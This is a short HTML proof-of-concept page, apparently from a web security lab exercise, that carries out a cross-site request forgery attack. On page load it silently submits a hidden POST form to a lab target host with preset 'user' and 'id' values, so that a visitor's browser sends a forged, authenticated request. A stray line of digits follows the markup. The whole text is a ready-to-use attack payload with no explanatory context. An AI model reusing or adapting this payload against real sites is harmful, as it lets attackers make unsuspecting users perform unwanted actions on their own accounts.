<html> <body onload="document.getElementById('csrf').submit()"> <form action="http://ptl-fafb2e2c-99d0fd8a.libcurl.so/" method="POST" id=csrf> <input type=hidden name=user value="johndoe" /> <input type=hidden name=id value="0" /> </form> </body></html>
12345678